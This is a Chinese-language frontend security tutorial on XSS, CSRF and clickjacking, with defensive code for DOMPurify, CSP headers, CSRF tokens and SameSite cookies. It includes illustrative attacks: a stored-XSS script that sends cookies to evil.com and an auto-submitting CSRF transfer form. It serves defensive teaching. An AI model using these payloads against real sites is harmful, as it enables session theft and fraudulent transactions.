安全是後端的事?大錯特錯。很多 XSS 和 CSRF 漏洞是前端代碼造成的,防禦也要前端配合。
XSS(跨站腳本攻擊)
攻擊者在頁面注入惡意腳本,在用户瀏覽器執行。
類型
javascript
// 1. 存儲型 XSS:惡意內容存入數據庫
// 用户提交:<script>fetch('https://evil.com?cookie=' + document.cookie)</script>
// 後端存儲,其他用户訪問時執行
// 2. 反射型 XSS:通過 URL 參數注入
// https://example.com/search?q=<script>alert(1)</script>
// 後端直接把 q 參數輸出到 HTML
// 3. DOM 型 XSS:不經過服務器
// document.getElementById('content').innerHTML = location.hash // 危險!
防禦
javascript
{% raw %}
// ❌ 危險:直接使用用户輸入
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// ✅ 安全:使用 textContent
element.textContent = userInput; // 自動轉義,不解析 HTML
// ✅ 安全:需要富文本時,使用白名單過濾庫
import DOMPurify from "dompurify";
element.innerHTML = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
ALLOWED_ATTR: ["href", "target", "rel"],
});
// React/Vue 的 XSS 保護
// React:JSX 默認轉義,dangerouslySetInnerHTML 才有風險
// Vue:{{ }} 默認轉義,v-html 才有風險
// URL 參數用 encodeURIComponent
const url = `https://api.example.com/search?q=${encodeURIComponent(query)}`;
{% endraw %}
Content Security Policy(CSP)
html
<!-- 最強防禦:瀏覽器級別的策略 -->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline';"
/>
nginx
# 更好:通過 HTTP 響應頭配置
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.example.com;
img-src 'self' data: https:;
style-src 'self' 'unsafe-inline';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
" always;
CSRF(跨站請求偽造)
攻擊者讓已登錄用户在不知情的情況下發起惡意請求。
html
<!-- 攻擊頁面(evil.com):用户訪問這個頁面就自動發起轉賬請求 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker" />
<input name="amount" value="10000" />
</form>
<script>
document.forms[0].submit();
</script>
CSRF Token 防禦
javascript
// 後端:生成隨機 token 放入 Cookie 或隱藏表單字段
// 前端:每次請求攜帶 token
// axios 攔截器:自動添加 CSRF token
axios.interceptors.request.use((config) => {
// 從 Cookie 讀取 CSRF token(雙重提交 Cookie 方案)
const csrfToken = getCookie("csrf_token");
if (csrfToken) {
config.headers["X-CSRF-Token"] = csrfToken;
}
return config;
});
SameSite Cookie
javascript
// 後端設置 Cookie 的 SameSite 屬性
// Set-Cookie: session=xxx; SameSite=Strict; Secure; HttpOnly
// Strict:完全禁止第三方 Cookie(來自其他域的請求不帶 Cookie)
// Lax:大部分場景禁止,GET 導航除外(默認值)
// None:允許(需要 Secure)
SameSite=Lax 已經是現代瀏覽器的默認值,大大降低了 CSRF 風險。
點擊劫持(Clickjacking)
nginx
# 禁止頁面被 iframe 嵌入
add_header X-Frame-Options "DENY" always;
# 或 CSP
add_header Content-Security-Policy "frame-ancestors 'none';" always;
安全檢查清單
□ 不直接 innerHTML 用户輸入,用 DOMPurify 過濾富文本
□ v-html / dangerouslySetInnerHTML 只用於可信內容
□ API 請求添加 CSRF Token 或依賴 SameSite Cookie
□ 設置 CSP 響應頭
□ 設置 X-Frame-Options 防止點擊劫持
□ Token 存 HttpOnly Cookie,不存 localStorage(防 XSS 偷取)
□ 敏感操作二次驗證(密碼、手機驗證碼)
□ npm audit 檢查依賴漏洞
小結
- XSS:用
textContent代替innerHTML,富文本用白名單過濾,配置 CSP - CSRF:SameSite Cookie + CSRF Token,現代瀏覽器已較好防禦
- 安全不是"後端的事",前端代碼同樣可能引入漏洞